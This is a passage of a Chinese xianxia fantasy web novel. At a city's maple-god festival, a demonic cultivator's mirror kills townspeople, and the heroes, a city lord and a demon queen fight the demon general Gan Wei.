心里漫上一堆想骂人的话,蕴禾硬是咽下去了,却忍不住阴阳怪气道:“食铁兽的占有欲最是强烈,嗅觉又极为灵敏,若是被她发现你抱了别的小猫,你看她还会不会理你。” 苏见清意外,“当真?” 蕴禾冷笑,“你尽管试试。” 苏见清若有所思。 云团脾气大,倒真有可能如此。看来往后不能再接触别的小猫小兔了。 眼见蕴禾走远了,苏见清急忙跟上。 二人顺着人群来到“枫神”前。 蕴禾眯眼打量着眼前的巨树。 树干粗壮,华盖如伞,丛丛枫叶拥挤在一处,其间灵韵环绕,灵气充裕,宛如绚烂彩霞,倒真像是活了万年的灵树。 只是,不知为何,蕴禾总觉得有些不对。 她正欲放出神识仔细查探,身后骤然响起一道欢快女声,“阿蕴姐姐,苏公子,你们也在啊!” 蕴禾回头,只见曲江篱拉着巫弃往二人跑来,眼角眉梢皆带喜意。 “巫道友,曲道友。” “苏公子不必客气,你叫我名字就好啦。”曲江篱弯着眼笑。 瞥了她身后的巫弃一眼,蕴禾挑眉,颇有兴致地看着苏见清礼貌唤了声“曲姑娘。” 曲江篱鼓了鼓腮帮子,绕到蕴禾面前,“阿蕴姐姐,你们也来凑热闹吗?” “是啊。” 曲江篱笑道:“相见即是有缘,还没到祭典召开的时辰,咱们不如一起吧。” 蕴禾无所谓,随意点头,“好啊。” 一行四人走到旁边枫树下,巫弃手一挥,面前顿时摆上一方圆桌与四张凳子,桌上摆满了瓜果佳酿。 曲江篱热情招待,“阿蕴姐姐、苏公子,你们别客气,这都是我们从家里带来的。吃完了阿弃会再补上,阿弃,阿弃?” 她疑惑,“你怎么不说话啊。” 巫弃面无表情,“二位请。” 苏见清察觉到了什么,略略颔首,主动坐到蕴禾与巫弃中间。 蕴禾看着桌上瓜果,意味不明地哼笑一声,随手拿起一颗水蓝色宛如桃子一般的果子咬了口。 曲江篱眼巴巴地看着她,“阿蕴姐姐,好吃吗?” “还不错。” 曲江篱一双鹿眼亮晶晶的,“好吃姐姐就多吃些,我这儿还有。” 她叽叽喳喳地围着蕴禾说话,蕴禾不时回应一声,另一旁的两名男子相邻沉默,宛如两座精致玉雕。 许久,巫弃忍不住了,传话与曲江篱,“江篱,他们来历不明,当心对我们不利,你少说些,莫要暴露身份。” 曲江篱眨眨眼,“可是我喜欢阿蕴姐姐,我想和她说话。还有苏公子,他长得这么好看,怎么可能是坏人?” 巫弃:“……世上长得好的坏人比比皆是。” 曲江篱回得天真无邪,“阿弃也长得好看,可你不是坏人。” 巫弃:“……” 他正欲劝说,悠远沉闷的钟声骤响,霎时间传遍整座枫泠城。 蕴禾正偷听得起劲,听到这声音转头望去。 “城主,是城主来了。” “城主,城主!” 百姓们的欢呼声宛如潮涌,一浪高过一浪。 蕴禾望着从空中降落的那道华丽身影,与苏见清同时“咦”了一声。 第28章 枫叶簌簌而落,漫天皆是翩飞的红色灵韵。树上风铃齐声作响,似是为半空中的人编织的一首华美乐章。 他穿着一身红衣,衣上绣巨大枫树,丝线在阳光下呈七彩光芒。 五官俊逸,气质缥缈,眉心一道红色长痕,手持金色权杖,杖上镶嵌红色宝石,华贵又神秘。 那人缓缓睁眼,眸底有道红光闪过,光华流转间,他身上骤然多了丝神圣气息。 “城主,城主!” “是城主大人!” “拜见城主。” 百姓们的欢呼声震耳欲聋,脸上神情兴奋又崇拜。 曲江篱望着这一幕,悄悄问蕴禾,“阿蕴姐姐,你们认识这个城主?” 蕴禾不做声,目光看向苏见清,“你‘咦’什么?” 苏见清不确定道:“这人的脸极为陌生,身上的气息却有些熟悉,我总感觉在哪儿见过。” 蕴禾暗哼。 可不觉得熟悉? 没想到啊。 她望着枫树下的人,眼里夹着兴味。 枫泠城的城主,竟然是他。 “诶,你之前找遍整座城的时候,就没见过他?” 蕴禾胳膊肘拐着苏见清。 苏见清怔愣一瞬,口中回复,“并无。” “我我我,我打听过!” 见几人的目光落在自己身上,曲江篱骄傲挺胸,“这枫泠城中并无城主府,据说是城主不喜俗务,唯有城中发生大事才会露面。” 苏见清:“城主不在,这城内竟如此安生?” 回话的是巫弃,他注视着远处之人,“此人来历成谜,但传闻他乃是枫神选出的城主,加之多次救枫泠城于危难之间,在城中威望极高。他不露面,自有手下护卫队维护城内治安,且此地民风淳朴,并无大恶人。” 苏见清也望过去。 巫弃收了桌椅,四人站在人群外,遥望“枫神”下的城主。 他手往下压,百姓们逐渐噤声。 城主启唇,温柔舒缓的嗓音传遍枫泠城的每一个角落。 “又到一年祭典。这一年里,枫泠城风调雨顺,百姓安居乐业,有的姑娘成了新嫁娘,有的男子成了父亲,有的家庭添丁进口,也有的送走了亲朋。你们都有在过好自己的日子,每年见此,我心甚慰。” “都是城主和枫神的功劳!” “城主!城主!枫神!枫神!” 城主再度压手,嘴角牵起笑,温声道:“枫神的保佑还在其次。如今你们的日子,都是自己精心经营的结果。好了,开始祭典吧。” 曲江篱听完城主的话,嘟囔道:“这样看,这位城主果然是个好人嘛。” 她偏头去拉巫弃的袖子,不满道:“阿弃,我之前夸他好,你还反驳我。” 巫弃拧眉,耐心道:“江篱,你还太小,不懂知人知面不知心。有时肉眼所见,并非真心。” 苏见清站在蕴禾身旁,疑惑问:“他们要拿什么祭祀?” 按理来说,祭祀应当用三牲,可当下并不见活物。 蕴禾抬起下颌,“喏,你看。” 只见所有百姓取下胸前花草,双手举过头顶,恭敬弯下腰。 “枫神”下的城主朗声道:“枫神在上,今以花草灵木为献,惟愿佑我枫泠百姓上无大灾,下无小祸。年迈者相携白首,无病无痛;青年者万事顺遂,姻缘美满;幼龄者平顺安康,自在成长。” 他低下头,唇瓣一张一合,吐露一段古老神秘,宁静悠远的调子。 曲江篱“哇”一声,“枫神祭典,祭的居然是花草!” 她语气里的惊奇和浓郁的“涨见识了”吸引了站在人群最后的年轻男子,回头打量一番,友善道:“你们是外乡人吧?” 曲江篱:“是啊。” 年轻男子语气里满是对城主和枫神的推崇,“那你们大概不知,最初我们的祭典用的也是活物,但城主传达枫神意志,不愿残害生灵,从此往后我们祭祀便改用花草。” 曲江篱:“哇!” 听出她的赞叹,年轻男子得意又自豪,正欲开口,手中蓦地一烫,他连忙回头,恭恭敬敬献出手中花卉。 曲江篱拉着巫弃的袖子,兴奋道:“阿弃,你快看!” 巫弃声音温柔,“嗯,看到了。” 只见在城主舒缓的调子中,百姓们手中花草一一散发灵光,自行飞到空中。无数灵花灵草汇聚成河,涌向屹立在苍穹下的巨大枫树。 红枫似火,热情地包裹住奔向它的溪流。 二者相触的一刹那,花草化为万千灵光,自空中簌簌而落,融入红枫之中。 “好美啊。” 曲江篱拉着巫弃称赞。 苏见清偏头,正正撞入一双盛满灵蕴的璀璨杏眼。 眼睛的主人微微侧脸,眸中灵光闪烁,仿佛天上星子坠入凡尘,落于姑娘眼中。 “你看我做什么?” 苏见清磕巴一瞬,“阿蕴姑娘,的确很美。” 这话有歧义,他连忙找补,“我、我是说这场祭祀。” 蕴禾轻哼一声,“也就一般吧。” 她东隅城的庆典更美好吧! 枫树下,城主一拄手中权杖,其上宝石瞬间折射出无数道瑰丽红光。 “请枫神赐福。” “请枫神赐福!” 百姓们手心朝上,恭敬齐声。 红光穿梭在树冠中,带走数片枫叶。它将枫叶送到百姓们掌心,收获无数张真心诚意的笑脸。 他们站在自己信仰的枫神面前,献上精心养护的花草,收获代表祝福的枫叶。 无论枫神是真是假,但见到这一幕,哪怕是内心有所猜忌之人也会动容。 曲江篱挽着巫弃的手,小声感慨,“真好啊。” 苏见清的目光在一张张诚挚的脸上巡睃,“阿蕴姑娘,你说……小心!” 语调陡然变得焦急,他飞身上前欲要拉开一名年轻男子。 可惜已经晚了。 年轻男子手中枫叶陡然射出无数条红色血丝,从他掌心蔓延至全身。 血丝所过之处,血肉寸寸消散,露出森森白骨。 那年轻男子正转过身来,甚至还来不及说一句话,血丝便以肉眼不可捕捉的速度攀上他的脸颊,将他全身血肉吞噬殆尽。 不过眨眼之间,他已成为一具枯骨,空洞的眼窝正对着苏见清的方向。 苏见清整个人僵在原地。 在年轻男子消散之前,他看清了他的脸,赫然是方才语气骄傲地与曲江篱搭话那位。 可一刻钟不到,那条鲜活的生命却已成了白骨。 第29章 “啊——这是什么,滚开,滚啊!” “夫君,夫君你怎么了?夫君你别吓我!” “娘!爹!你们怎么了?城主、城主!救命啊城主!” 眨眼之间场面便乱了。 尖叫、惊惧声乱成一团,恐惧在瞬息之间蔓延。 好些人在苏见清眼下化为白骨,空洞的骷髅立在红枫下,辨认不出生前脸上是何表情。 曲江篱尖叫一声,被巫弃一把拉进怀里。 她身子颤抖,带着哭腔道:“阿弃,他们、他们这是怎么了?” 巫弃挡住她的脸,不让她去看眼前的混乱残酷,安抚道:“江篱别看。” 苏见清脸上神情难看到了极点,霍然将视线投向枫树下的城主,“是他做的?” 他正欲上前,却被蕴禾拉住手腕,“你再仔细看看。” 她这样一说,苏见清勉强按捺住心急,眼睛一眨不眨地盯着城主。 此时的城主脸上一片空白,“这、这是怎么回事?” 百姓们的哭嚎哀鸣声听得他心焦,握紧手中权杖,低喝一声,“收!” 红宝石光芒大盛,袭向百姓们手中枫叶,欲将之收回。 可那些枫叶仿佛受了刺激般放出更多血线,顷刻间又是十几人化为白骨。 “阿蕴姑娘,不能再等了。” 苏见清焦急不已,松开蕴禾的手,唤出长虹,御剑飞向城主。 曲江篱松开巫弃,拉住他的手腕道:“阿弃,你也去帮忙。” 巫弃拧眉,“你一个人,我不放心。” “我不会有事的。”曲江篱道:“我也有能力自保,再说了,阿蕴姐姐不是还在吗?” 若不提蕴禾也就罢了,一说起她巫弃便拧了眉。 见状,曲江篱索性与巫弃传音,“阿弃,在阿蕴姐姐身边,我很安心。” 巫弃眉头耸动,点头应了,离开之前对蕴禾道:“劳烦姑娘替我照看江篱。” 蕴禾睨他,可有可无地点了下头。 等巫弃飞身追着苏见清而去,曲江篱提着裙子小跑到蕴禾身边紧紧挨着她,分明不忍直视,却大着胆子皱着眉头瞧着眼前残忍的一幕。 “阿蕴姐姐,他们好可怜啊。” 蕴禾没什么反应,甚至连眼风都没动一下。 曲江篱咬了咬唇,双手结印,此刻的她眉眼沉静,似水宁静深远,包容万物。波纹一般的水蓝色结界自她身上升起,罩住她与蕴禾。 曲江篱大喊:“你们快进来,这里安全!” 可惜她的话无人听从,百姓们蜂拥朝城主的方向挤去,恐惧的尖叫呼救声凄楚悲凉。 “城主,城主救我!” “救命啊城主,城主救救我!” 无数的呼救声传至耳畔,城主焦急不已,喃喃道:“怎么会这样,这到底是怎么一回事?” 一道女声在心内响起,“是树出了事?” 灵光自脑海闪过,城主猛地偏头去看屹立在蓝天下的巨大红枫。 脸上神情不断变换,他脸色难看至极,字字切齿,“怪不得找不到,他们竟然躲在这儿。” 深吸口气,城主收紧权杖,正欲迈步,两道身影蓦地近前。 苏见清冷着脸,“这一切怎么回事?” 城主惊讶,“仙君?” 苏见清蹙眉,“你认得我?” 这倒是有意思了。 巫弃立在一侧打量着二人,合着他们俩还是相识? 城主肃容,“仙君疑虑我稍后解答,现下还请让一步,让我揪出躲在暗地里害我子民的鼠辈。” 苏见清锐利的目光落在城主身上,念及他身上熟悉的气息,沉吟让步。 城主暗暗松气,若是苏见清执意不让,定会有一场恶战,到时岂非给那些恶心的东西做了嫁衣? 他转向巫弃,“这位仙君……” 巫弃温和一笑,往旁退开,“城主请。” 城主对二人感激点头,大步走向红枫。 树冠遮天蔽日,枫叶火红如霞,璀璨华光自叶片流淌,美不胜收。 如此美景,却让城主心中怒火旺盛,权杖重重落地,红宝石上射出一道恐怖灵压,“给老子滚出来!” “轰——” 灵压射向枫树,枫叶唰唰而落,似万千只翩跹灵蝶。 枫叶落地的刹那化为数不清的血丝,血丝在空中编织成网,沉沉向城主压来。 他单手结印,红光似剑,撕碎血网。 数点红光撒下,枫树下忽然起了红雾,有道身影自雾中响起。 “难怪这树内无灵,原来是偷偷跑出去了。” 结界闪现,雾中隐约可见两道人影,其中一人望着城主感慨,“踏破铁鞋无觅处,将近万年的树灵,有你在,定能助主上修为大涨。” 城主寒声质问:“你们这些魔修,究竟要在我枫泠城做什么?!” “当然是用你们的血肉,助我主上练得神器,踏破玄清疆域,一统修真界!” 红雾散去,露出两张相似面容。 苏见清惊讶,“瞿云?!” 不对,瞿云已经死了,这便是碎金楼主所说的瞿云的同胞? “你是伏渊剑修?是你杀了瞿云?” 瞿诏斜睨着苏见清,眼睛微眯,冷笑道:“很好,今日我就要你给老三偿命。” 他祭出一物。 望着那与瞿云手中一模一样的魔镜,苏见清暗道不好,持剑飞身而上,“不能让他开启那面魔镜。” 一道身影将苏见清拦下,瞿彦手持血魔斧,面目狰狞怒喝,“去死吧!” 苏见清无法,只得暂时与他周旋。 城主和巫弃齐齐出手,可瞿诏速度更快,不等攻势到来,魔镜已悬在半空,霎时间天边红云翻滚,整座城笼罩在红雾中。 血丝从镜中射出,所过之地,血肉不存,尸骨遍野。 “混蛋!给老子住手!” 城主恨得大骂,红宝石大亮,升起一道结界,罩住哭嚎的百姓。 “这、这是要屠城吗?” 曲江篱红着眼。 她自幼生活在安宁和睦的环境中,又被家人疼宠,从未见过这般残酷的场景。 擦擦眼泪,曲江篱鼓起勇气,义无反顾上前,“城主,我来帮你!” 她手中亮起水蓝色的灵力,水波纹结界罩住城主的红色结界,将百姓们护在其中。 蕴禾追随着曲江篱的身影,弹指在她身上放了道妖力,随后看向苏见清。 除了这小东西不想让她出事外,她最在意的还是苏见清。 巫弃已经与瞿诏交手。 他是雷灵根法修,动手时雷光闪烁,雷鸣阵阵,阵仗极大。 苏见清与那手持血魔斧的魔修对阵不落下风。 魔修只有两人,而城主尚未出手,局势瞧着像是倒向枫泠城这一方,只不过…… 目光落在闪着诡艳红光的枫树上,蕴禾眸色骤冷。 第30章 红雾之中,苏见清剑气犹如连绵不绝的山川潮汐,随着剑气落下的数量增多,剑势越发凶猛。 最后一道剑气斩落,方才挥落的所有剑气瞬间凝聚,以摧枯拉朽之势袭向瞿彦。 清冷男音道:“穿云十八式,灭。” 剑气轰然爆发,成千上万把长虹将瞿彦的身体刺穿,他手中血魔斧脱手而出,身体重重倒下。 与此同时,正与巫弃对阵的瞿诏猛地吐血,修为从元婴后期攀升至了化神初期。 城主大惊,“那不是你兄弟,是你的分身!” “不错。” 瞿诏抹去嘴角血渍,阴恻恻的目光攫住苏见清,“一连灭我两个分身,你这剑修倒是有些本事。” 苏见清持剑落地,“我能灭你分身,自然也能灭你。” “口气倒是不小啊。” 瞿诏哈哈大笑,“那就要看你能不能活下来了。” 话音降落,他霍地朝巫弃掠去。 巫弃反应迅速,双手快如残影,一道又一道法印在背后出现,其内雷光不断。法印疾速朝瞿诏压去,雷声轰鸣,恐怖雷压似能撕碎一切肮脏污秽。 瞿诏掌心一吸,瞿彦的血魔斧朝他飞来,他劈头一斩,竟是硬生生对上了巫弃的雷。 巫弃倏地后退一步,眉峰压下,眸光渐暗。 “你是何人?玄清域什么时候接连出了这么多人物。” 瞿诏擦了擦血。 “我看你与这剑修并非一伙的,何必淌这趟浑水?不如我放你离开,我们互不干涉,如何?” “阿弃,别听他的!”曲江篱大喊:“他不会放过我们的!” 瞿诏眸色一厉,“找死!” 魔气似蛇朝曲江篱袭去,巫弃脸色大变,“江篱!” 他急急飞身去拦。 瞿诏自以为掌握了巫弃的弱点,正欲去抓曲江篱,后背一寒,冷锐剑气遽然袭来! 望着黑沉沉的魔气向自己掠来,曲江篱吱哇大喊,“啊啊啊阿弃!” 城主反手一挥,将魔气打散,诚心道谢,“仙子小心。” “啊咧?” 曲江篱茫然。 仙子?在说她吗? 这还是第一次有人叫她仙子诶! 曲江篱心花怒放,就连掌中灵气都亮了几分。 见她无事,巫弃松了口气,眸色冷沉回头,与苏见清一道围攻瞿诏。 二人同是元婴,一个是剑修,一个是法修,虽是第一次并肩作战,却也有几分默契,竟将化神期的瞿诏逼得险些丢盔卸甲。 城主见状大松了口气,心下稍安。 一道剑气穿肩而来,瞿诏正欲躲避,身后雷光已至,阻拦他的动作。 两道攻势齐落于身,他被冲撞得双膝跪地,口吐鲜血。 面前是神色冷漠,手持长虹的苏见清,背后是法印煌煌,面无表情的巫弃。 两人同时出手,准备取瞿诏性命。 就在此时,瞿诏眸色阴沉,狠狠斩出一斧。 那一斧中蕴含了他全部魔力,竟逼得苏见清与巫弃齐齐倒退。 拇指揩去唇上血渍,瞿诏单膝跪地,望着半空魔镜,语气恭敬而惶恐,“瞿诏办事不力,有负主上托付,请主上降罪。” 苏见清站稳,凝眉看向那散发着血丝的魔镜,对巫弃道:“巫道友,此物诡异,当心。” 巫弃颔首,同样将目光落在魔镜上。 红雾如波涛翻涌,缠绕在魔镜上的魔蛇竖瞳亮起,凶相毕露。 “没用的东西。” 冷冽阴沉的狂傲男声从四面八方而来,苏见清蓦地握紧剑柄。 “给本座滚回去!” 那男声低喝一声,瞿诏似被一股无形的力量击中,身形遽然朝魔镜飞去。 魔蛇竖瞳大亮,眸中似有了神采,蛇身不断收缩,竟是个活物。 城主大惊,“他、他是条蛇?” 无人回应他的话,苏见清与巫弃严阵以待,紧盯空中魔镜。 “啪嗒啪嗒”的脚步声轻轻响起,仿佛踩在鼓点上,每一步都引起心中震颤。 众人不约而同看向红枫。 红雾缭绕,眇眇忽忽现出一道高大身影。 他闲庭信步走出红雾,姿势悠闲得好似在逛后花园。 出乎意料的是,他脸上并无丑陋魔纹,反而生得格外俊逸,脸庞呈现出不正常的惨白,一双瞳眸泛着血一般的猩红。 黑发规规整整束在金冠中,衣着华丽,身上绣着八条缠绕巨蟒,神色各异,竖瞳却是一样的残酷凶恶。 曲江篱呆呆道:“阿弃说的没错,长得好看的,不一定都是好人。” 眼前这人,长了一张出色的脸,心却黑透了。 魔修视线过在场之人,在城主身上停顿一瞬,最后攫住苏见清。 尾音上扬,颇为意外,“你竟然没死。” 不等苏见清开口,他随意摆手,“无碍,今日死也是一样的。” 魔修轻轻挥手,魔镜一震,霎那间射出密密麻麻,宛如红浪一般的红光。 红光侵蚀城主与曲江篱的结界,肆无忌惮收割百姓们的血肉。 “啊!!!” “城主!城主救命啊!” 惨叫声连成一片,比巫弃身上雷鸣更为震彻人心。 苏见清回头,好几张眼熟的面容在他面前消失。 有今日抱着小白与他道谢的年轻人,有撞了他和阿蕴姑娘的幼童,有百香楼内的跑堂…… 他闭了闭眼,睁眼的刹那,眸中盛满寒冰,一言不发直冲魔修而去。 城主眼中含泪,惊惧大叫,“住手!混蛋,你给老子住手!你不就是想要我吗?老子跟你走,你放过他们!” 他叫喊着,手中不停升起结界,想要护住这群无辜的百姓。 曲江篱湿了眼眶,双手快成残影,水蓝色灵力不断从她身上升起,洒落在百姓们身上,试图为他们驱散红光。 不知她使的什么法术,竟当真减缓了红光吞噬的速度。 城主大喜,眼底溢出希望。 正被苏见清和巫弃缠住的魔修眸光一厉,望着曲江篱的眸光若有所思。 须臾,他目光一亮,笑道:“没想到还有意外收获。” 巫弃神色冰冷,结印的速度愈发快了。 被他与苏见清缠得紧,魔修渐渐不耐,掌中化出一杆银枪,对准曲江篱投掷而出! 巫弃目眦欲裂,“江篱!” “什么?” 曲江篱回神,只见银枪如流星,疾速朝自己飞来,一时惊得瞪大眼。 慌乱之中,她下意识躲闪,可那银枪仿佛认准了她,竟朝着她改变方向。 曲江篱吓得大叫,“阿弃!爷爷!叔叔伯伯们救命啊!” 就在枪尖即将刺穿她单薄的身躯时,曲江篱身前蓦地亮起粉色护盾,与此同时,枪身上缠绕一条藤蔓,用力将之勒紧。 劫后余生的曲江篱吓得脚软,险些跌倒在地,惊惶又惊喜地看着护盾的主人,“多、多谢这位姐姐。” 蕴禾看了她一眼。这小东西身上宝贝多着呢,再者有她一道妖力相助,怎么也不会出事。 倒是另一位…… 注视着藤蔓的那一头,蕴禾眉头轻挑。 加春?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 身着红衣的姑娘堪称绝色,满头青丝用牡丹玉簪绾起,神色不复碎金楼时的娇媚,反倒是面如冷霜。 城主大喜,“加春,你终于出来了!” 加春冷冷睨他,收回藤蔓,旋身朝魔修飞去。 她周身灵气翻涌,所过之处花瓣翩飞,在红雾中化为数把刀刃,齐齐涌向魔修. 魔修收回银枪,枪尖与刀刃相撞,“铿锵”金戈之声不断,听得人起一身疙瘩。 收势后,魔修凝视加春,饶有兴致道:“化神修为的五蕴牡丹,没想到这小小枫泠城内,竟有这么多了不得的人物。” 加春冷着脸,掌心化出一条藤蔓,狠狠朝魔修一甩。 对上苏见清和巫弃二人的目光,她红唇微启,“一起上,杀了此魔。” 三人目光对视,齐齐出招。 一时间剑光、法印、藤蔓与魔气交缠,寒冰、紫色雷光与红色花瓣不时在红雾中闪现,场面格外壮观。 城主见状松了口气,加大灵气护住百姓,劫后余生的曲江篱拍拍屁股站起,忙到他身边帮忙。 城主看她,“没事吧?” 曲江篱摇头,“没事。城主,那位姐姐是何人?她看着好厉害啊。” 城主脸上恢复笑意,“她是很厉害,有她在,咱们肯定……” 话音未落,一道红影蓦地撞在结界上,加春摔落在地,脸色苍白,面无表情抹去唇上血渍。 城主大惊,“加春!” 曲江篱正要看过去,余光里有道熟悉的身影朝她飞来,一回头便与她撞在一处,*手中法诀溃散,两人齐齐摔倒。 “阿弃!” 她慌乱把人抱住,无措拭去他脸上鲜血,“你怎么样?” 巫弃反握住曲江篱的手,咳出淤血,笑着安慰,“没事。” 四人往回看,此刻唯有苏见清仍在坚持。 魔修猖狂大笑,“化神期的花灵又如何,在本座眼里不过一只随时可以拿捏的蚂蚁。” 城主半抱起加春,让她靠在自己肩上,“怎、怎么,你打不过?” 加春冷冷掀唇,“他不受我幻术控制。” 城主闻言脸色顿时灰败。 加春修为虽高,但实战能力比不上同境界的剑修法修之类,唯有一手幻术出神入化。以此为依仗,打败不少同境界的修士。可现在,她的幻术也不起作用了。 难道今日,他枫泠城当真就要亡于此魔手中? 枫泠城偏远,他又不想受人掣肘依附仙门,如今大难临头,除了他和加春,竟然只有几名外乡人相助。 若是早知有今日,他一定不再懒散,认真督促修士们修炼。 可是如今,早已没了后悔的余地。 城主望着惨叫的百姓们,眼中泪光闪烁。 形势大转,魔修不免得意,阴鸷眸光射向苏见清,“滚开!” 苏见清不退,万千雪花融入红雾之中,散发着令人胆寒的冰煞之气。 他眸色坚定,持剑攻上。 见他如此不识时务,魔修气笑了,手持银枪与他斗法。 曲江篱紧张握手,目光一动不动,“苏公子,加油啊。” 二人的身影不时在红雾中涌现,雪亮剑光斩破红雾,似日出时跃出天边的一抹熹光。 “轰——” 红雾震荡,灵气与魔气碰撞,血红枫叶飒飒而落,万千灵光飘散于空中。 一道身影飞出红雾。 城主瞪大眼,“仙君!” 苏见清白衣染血,拄着长虹勉强稳住身形,方一抬头,只见枪尖直冲面门而来。 “仙君!” “苏公子!” 城主与曲江篱慌乱担忧的尖叫声响起,苏见清却已无力回应。他面无表情握紧剑柄,正欲反击,一只素白的手凭空出现,稳稳当当握住银枪,疏懒冷漠的女声落下,“这人是我的,你敢动他试试。” 苏见清蓦地抬头,只见一身绿裙的蕴禾站在身前,随意将魔修的银枪握在手里,裙裾飞扬,墨发狂舞,仅仅一个背影,便能想象她此刻的神情有多么不可一世。 魔修眯眼打量着她,面上不动声色,心里却暗暗吃惊。他这一枪的威力,足以贯穿那名剑修的元婴,这个女子凭空将他的枪接住,竟然毫发无损。 他手掌张阖,欲召回自己的武器,下一瞬却面露震惊。 怎么会? 居然唤不回来? 魔修心潮翻涌,“你是谁?” “妖君!” 妖? 巫弃握住曲江篱的手一紧,不由望向蕴禾。 她竟是妖? 紧皱的眉心微松,巫弃和曲江篱对视,轻声道:“你看出她是妖了?” 曲江篱却是一脸恍然大悟,“原来阿蕴姐姐是妖。怪不得……” 剩下的话被她咽回去。 城主一脸欣喜地注视着蕴禾,“妖君,此魔凶残嗜杀,在我枫泠城兴风作浪,恳求妖君诛杀此魔。” 蕴禾淡淡瞥他一眼,略一抬手,一道妖力将苏见清扶起,“我为何要帮你?” 城主笑容一顿,“这、这魔手染鲜血,杀人无数,城中百姓多丧命他手……” “这和我有什么关系?” 蕴禾不耐将他打断。 城主的笑容彻底僵住。 苏见清被托举站起,轻声问:“阿蕴姑娘不愿相助,又为何要救我?” 蕴禾两眉微蹙,理所应当道:“你是你,他们是他们。你的命是我的,这些人的生死与我何干?” 苏见清抿唇,“我的命是我的,并非姑娘的。” “我既救了你,那你的命就是我的。” 蕴禾蛮不讲理。 “阿蕴姑娘。” 苏见清深深吸气,“我很感激你救我一命,可我的命由我自己做主。姑娘修为高深,此地不宜久留,还是尽快离开吧。” 语罢,他从芥子囊中取出丹药吃下恢复灵力,握紧长虹,眸色坚毅。 蕴禾很久没被人这么驳面子了,不禁大怒,“你伤势未愈,现在冲上去只是送死!” 苏见清语气平淡,“伏渊门规,遇魔杀之。能为护卫枫泠而死,是我的荣幸。” 蕴禾气疯了,“苏见清!” “本来还想看在妖君的面子上饶他一命,既然他如此不识相,妖君何必执着?”目光在蕴禾与苏见清身上流连,魔修笑道:“本座看,不如把他杀了。妖君若是喜欢这副皮囊,本座愿为妖君将之炼为傀儡。” “闭嘴!” 蕴禾大喝,反手掷出银枪。妖力裹挟着银枪直冲魔修面门! 魔修正欲抵抗,神色忽地震惊,竟被那惊天枪势逼得连连后退。 枪尖擦过,在肩头留下一道血痕。 稳住身形,魔修脸上罕见露出惊骇,“你究竟是何人?” 蕴禾烦得很,眉眼堆砌冷霜,声线冷漠,“甘巍,在我面前,你也敢自称本座?未免太过狂妄。” 甘巍? 余下五人齐齐抬眼。 魔域魔尊座下四大魔将之一,最喜杀人嗜血,化神期大圆满,离大乘期仅一步之遥的甘巍?! 第32章 甘巍不意外被戳穿身份,只他在魔域横行多年,鲜少有人敢如此不给他面子,内心极为不满,哪怕忌惮这女子的实力,终是忍不住道:“既知本座身份,狂妄的不该是妖君?” 蕴禾下颌微抬,面无表情看他一眼,神色极为不屑,“哪怕是魔尊亲临,我亦是如此,你算什么东西?” 甘巍脸色难看得紧,因强行忍住怒气而显得扭曲。 蕴禾懒得再看他,拉住苏见清手腕,“跟我走。” “阿蕴姑娘。” 苏见清掌心贴上蕴禾手背,轻柔将她的手拂开,语气轻柔而坚定,“我不会走的。” 接二连三被拒绝,蕴禾恼羞成怒,冷笑三声退开,气得音调不稳,“行行行,你要送死那就去吧。” 本皇不管了! 她召出青羽,轻盈跃上去,冷冷瞧着苏见清,似要看他怎么去送死。 这作壁上观的态度令甘巍松了口气,神色一瞬阴鸷,收回银枪,猛地朝苏见清急攻而去。 “轰隆——” 一道紫雷凭空劈开,却是巫弃双手结印,三道法印罩在甘巍上空,阻拦他的身影。 巫弃回头对曲江篱道:“照顾好自己。” 曲江篱连连点头,“我会的。阿弃,你要小心。” “好。” 不经意瞄了眼蕴禾,巫弃飞身上前。 城主见说不动蕴禾,长长一叹。妖君终归与枫泠城毫无干系,她能出手救下苏仙君已是意外之喜,怎么还能强求她救一座城呢? “加春,去吧。” 咬咬牙,他掰下权杖上的红宝石塞到加春手里,“这个给你。” 加春意外,“这东西可是你的宝贝,你舍得给我?” 城主苦笑,“枫泠城都要守不住了,还留着作甚?你拿去好歹还能再撑一阵。” “行。” 加春掌心收紧,目光冷冽,“今天咱们就和他拼了。” 数根藤蔓从身后射出,加春身形如电,急掠而上。 城主担忧地看着她,身后百姓们的哀嚎声绝望凄惨,他深吸一口气,目光沉痛转身,再度升起结界与红光对抗。 曲江篱亦是如此。 蕴禾坐于青羽上,漠然看着苏见清。 见巫弃与加春袭向甘巍,他单手施诀,剑光斩破靡艳红雾,湛蓝天幕一闪而过。 那一剑落在甘巍肩头,被蕴禾刺伤的位置伤痕加深,森森白骨依稀可见。 魔头闷哼,气息顿了一瞬。 加春露出喜色,“他受伤了,我们一起!” 檀口微张,一把将城主赠与她的红宝石塞进嘴里。 眸内红光大盛,加春灵力暴涨,密密麻麻藤蔓从她背后升起,根根坚韧如剑。 巫弃结出繁复手印,整整五道法印将甘巍包围。 苏见清脸色苍白,忍着灵脉崩裂的痛,将全部灵力注入长虹。 “轰——” 大地震颤,无数房屋倒塌,碎屑飘浮在半空,遮挡住视线。 “咳咳。” 曲江篱手掌在身前胡乱扇了两下,目光紧盯甘巍所在地,无比期待问:“他死了吗?” 城主躲过向他砸来的房梁,回道:“这么猛烈的攻击,哪怕他是化神,也极难逃脱。” “天真。” 姑娘清越的嗓音里满是嘲讽,她冷笑一声,抬手一挥,一阵风吹走空中粉尘。 视线遮挡物散去,佝偻身影渐渐清晰。 甘巍半弯着身子咳出血,他直起身,俊美苍白的脸上染着血,神色越发阴鸷可怖。 “一群蝼蚁,竟能逼迫本座至此。” 手背轻轻抹去唇角血渍,甘巍冷冷勾唇,称赞道:“极好。” 他猛地伸手。 魔镜朝他飞来,一道红光将甘巍罩住。他双臂大张,任由红光裹遍全身,舒适地动着脖子,全身发出清脆的“咔嚓”声。 红光将血气注入甘巍体内,他身上伤势逐渐恢复,眨眼之间,状态已回至巅峰。 “害得本座损失了这么多血气,那就用你来赔吧。” 甘巍抬眼,眸底升起妖异红光,手持银枪,身影如流星朝一人冲去! “小心!” “傻子,快躲开!” “苏公子!” 城主怔然望着挡在他面前的苏见清。 剑修浑身灵气散去,披着白红交加的长袍,右手无力握住佩剑,俨然已是强弩之末。 甘巍转眼已至,寒芒直射苏见清心脏。 城主眼睛发酸,喃喃道:“苏公子。” 他虚握手掌,转头瞧了眼身后手无缚鸡之力的百姓们。红光被甘巍收回后,他们有的跌坐在地,有的抱着已成枯骨的亲朋嚎啕大哭,有的满脸惊惧恐慌,三五成群围在一处,任由白骨散落。 仙君心善,应当能好好安顿他们吧? 城主狠狠闭眼,再睁开时满是坚毅。他运气,手心升起一团红光。 